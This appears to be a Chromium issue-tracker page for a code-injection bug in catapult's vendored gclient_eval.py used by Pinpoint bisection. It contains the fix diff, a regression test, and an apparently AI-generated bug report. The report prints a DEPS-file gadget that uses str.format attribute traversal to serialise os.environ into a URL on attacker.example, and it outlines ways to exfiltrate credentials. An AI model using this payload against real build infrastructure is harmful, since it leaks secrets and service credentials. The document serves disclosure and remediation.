Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactCode injection in Bisection
DescriptionCode injection in Bisection
ComponentBisection
Bug ClassLogic Error
Tracker523232966
Fix commit9f045bedcaee (catapult) +31/-2
CISA KEVNot listed
CreditedGoogle
Disclosed2026-08-25

Changed Functions

FunctionChangeNotes
_SafeFormatter
third_party/depot_tools/depot_tools/gclient_eval.py
modified
Error
third_party/depot_tools/depot_tools/gclient_eval.py
modified

Files Changed

  • third_party/depot_tools/depot_tools/gclient_eval.py
  • third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
From 9f045bedcaeec77d68388382a19e0677dc987bd6 Mon Sep 17 00:00:00 2001
From: Wenbin Zhang <[email protected]>
Date: Thu, 16 Jul 2026 11:28:29 -0700
Subject: [PATCH] [catapult] update gclient_eval to resolve security concern on string.format()

Using the latest version from depot_tool which has this issue fixed already.

Bug: 523232966
Change-Id: If9a0448560fcd552c4c4bc1928e0aa2ce481f340
Reviewed-on: https://chromium-review.googlesource.com/c/catapult/+/8109357
Reviewed-by: John Chen <[email protected]>
Commit-Queue: Wenbin Zhang <[email protected]>
---

diff --git a/third_party/depot_tools/depot_tools/gclient_eval.py b/third_party/depot_tools/depot_tools/gclient_eval.py
index 2d8e536..79a57f5 100644
--- a/third_party/depot_tools/depot_tools/gclient_eval.py
+++ b/third_party/depot_tools/depot_tools/gclient_eval.py
@@ -6,6 +6,7 @@
 import collections
 from io import StringIO
 import logging
+import string
 import sys
 import threading
 import tokenize
@@ -18,6 +19,26 @@
   from third_party import schema
 
 
+class _SafeFormatter(string.Formatter):
+
+    def get_field(self, field_name, args, kwargs):
+        if '.' in field_name or '[' in field_name:
+            raise ValueError('Attribute and item access are not allowed: %s' %
+                             field_name)
+        return super().get_field(field_name, args, kwargs)
+
+_SAFE_FORMATTER = _SafeFormatter()
+
+def _ExpandVars(value, vars_dict):
+    """Expands {name} placeholders in |value| using |vars_dict|.
+
+    Unlike str.format(), this only permits simple top-level key substitution
+    and rejects attribute access (`{x.attr}`) and item access (`{x[key]}`),
+    which would otherwise allow a malicious DEPS file to traverse into Python
+    internals (e.g. __globals__) and read process state such as os.environ.
+    """
+    return _SAFE_FORMATTER.format(value, **vars_dict)
+
 class Error(Exception):
   """gclient exception class."""
   def __init__(self, msg, *args, **kwargs):
@@ -337,7 +358,7 @@
             if vars_dict is None:
                 return node.s
             try:
-                return node.s.format(**vars_dict)
+                return _ExpandVars(node.value, vars_dict)
             except KeyError as e:
                 raise KeyError(
                     '%s was used as a variable, but was not declared in the vars dict '
@@ -500,7 +521,7 @@
     """
     new_deps_dict = {}
     for dep_name, dep_info in deps_dict.items():
-        dep_name = dep_name.format(**vars_dict)
+        dep_name = _ExpandVars(dep_name, vars_dict)
         if not isinstance(dep_info, collections.abc.Mapping):
             dep_info = {'url': dep_info}
         dep_info.setdefault('dep_type', 'git')
diff --git a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
index 65d83a8..6afdd16 100755
--- a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
+++ b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
@@ -78,6 +78,14 @@
         self.assertIn('bar was used as a variable, but was not declared',
                       str(cm.exception))
 
+    def test_format_attribute_traversal(self):
+        with self.assertRaises(ValueError) as cm:
+            gclient_eval._gclient_eval('"{bar.__class__}"',
+                                       vars_dict={'bar': 'foo'})
+        self.assertIn(
+            'Attribute and item access are not allowed: bar.__class__',
+            str(cm.exception))
+
     def test_plus(self):
         self.assertEqual('foo', gclient_eval._gclient_eval('"f" + "o" + "o"'))
 
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
index 65d83a8..6afdd16 100755
--- a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
+++ b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
@@ -78,6 +78,14 @@
         self.assertIn('bar was used as a variable, but was not declared',
                       str(cm.exception))
 
+    def test_format_attribute_traversal(self):
+        with self.assertRaises(ValueError) as cm:
+            gclient_eval._gclient_eval('"{bar.__class__}"',
+                                       vars_dict={'bar': 'foo'})
+        self.assertIn(
+            'Attribute and item access are not allowed: bar.__class__',
+            str(cm.exception))
+
     def test_plus(self):
         self.assertEqual('foo', gclient_eval._gclient_eval('"f" + "o" + "o"'))
Loading diff…

Original Bug Report

reported by [email protected]

Sandbox escape and credential disclosure in vendored gclient_eval.py on Pinpoint

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A copy of gclient_eval.py vendored by catapult for Pinpoint lacks the safety formatting filters used upstream in depot_tools to prevent native str.format() sandbox escapes. Consequently, parsing a maliciously crafted DEPS file with nested attribute lookups can potentially allow an attacker to traverse Python attributes to retrieve sensitive environment variables and exfiltrate Google App Engine credentials. This affects Pinpoint’s bisection service which evaluates historical DEPS files during regression analysis.

Affected files:

  • third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py

Estimated timestamp from git blame: 2020-07-13

Description

The catapult-vendored copy of gclient_eval.py at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py does not include the _SafeFormatter mitigation class defined upstream in third_party/depot_tools/gclient_eval.py. Upstream, _SafeFormatter rejects attribute and item traversal (. or [ in format placeholders) before rendering.

Without this safety wrapper, the catapult-vendored code calls native str.format() on evaluated string templates directly:

  • Line 340: return node.s.format(**vars_dict) within _convert
  • Line 503: dep_name = dep_name.format(**vars_dict) within _StandardizeDeps

Potential Gadget Chain

An attacker could potentially craft a schema-compliant DEPS file using the permitted ConstantString type (exposed as Str() inside the sandbox parser):

vars = {
    'g': Str('x'),
}
deps = {
    'src/x': 'https://attacker.example/{g.__class__.__init__.__globals__[sys].modules[os].environ}@deadbeef',
}

During evaluation, gclient_eval resolves g to a ConstantString instance. Because the file imports sys globally, the native str.format() walks from the instance’s __class__.__init__.__globals__ to the global sys module, resolves os.environ, and serializes the server’s environment variables directly into the resulting URL template.

Potential Trigger Path

  1. Commit Submission: An attacker lands a modified DEPS file with the gadget above in any repository tracked by Chromium or its recursedeps. Even if reverted, the commit remains in the git history.
  2. Bisection Execution: A Pinpoint bisection job runs across the commit range. To identify dependency changes, the engine invokes Commit.Deps() in third_party/catapult/dashboard/dashboard/pinpoint/models/change/commit.py at line 107.
  3. DEPS Parsing: Pinpoint pulls the file content via Gitiles and passes it to the vulnerable parser: gclient_eval.Parse(deps_file_contents, ...) (line 130). This executes the direct .format() expansion.

Potential Exfiltration Channels

  • Cloud Logging: The parsed URL with the serialized environment is logged via logging.debug at line 150 of commit.py.
  • App Engine Datastore: If the dependency URL is processed, it is registered in Repository via _AddRepository in repository.py and written to the ndb Datastore via put().
  • Authenticated HTTP GET Request: If adjacent commits carry differing repository urls, subsequent bisection checks trigger gitiles_service.CommitRange(). This issues an HTTPS GET request using an authenticated client configured via utils.ServiceAccountHttp() (which wraps google_auth_httplib2.AuthorizedHttp), leaking the serialized environment within the URL and the service-account OAuth bearer credentials in the Authorization header to the attacker’s server.

Note: These are potential steps and impacts identified by analysis; our tooling does not currently have the capability to run code to confirm live exploitability on production App Engine instances.

Suggested Fix

Backport the safety implementation from third_party/depot_tools/gclient_eval.py into the catapult copy at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py. Specifically, implement the _SafeFormatter class:

class _SafeFormatter(string.Formatter):
    def get_field(self, field_name, args, kwargs):
        if '.' in field_name or '[' in field_name:
            raise ValueError('Attribute and item access are not allowed: %s' % field_name)
        return super(_SafeFormatter, self).get_field(field_name, args, kwargs)

And wrap variable expansion to ensure nested attribute lookups are strictly rejected.

Evaluated with Chrome root at commit: b2fea2e31df308d0f04e4ae47def4c4f939ee141


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

Raised in root component due to access or custom field issues on 1457058

View on issue tracker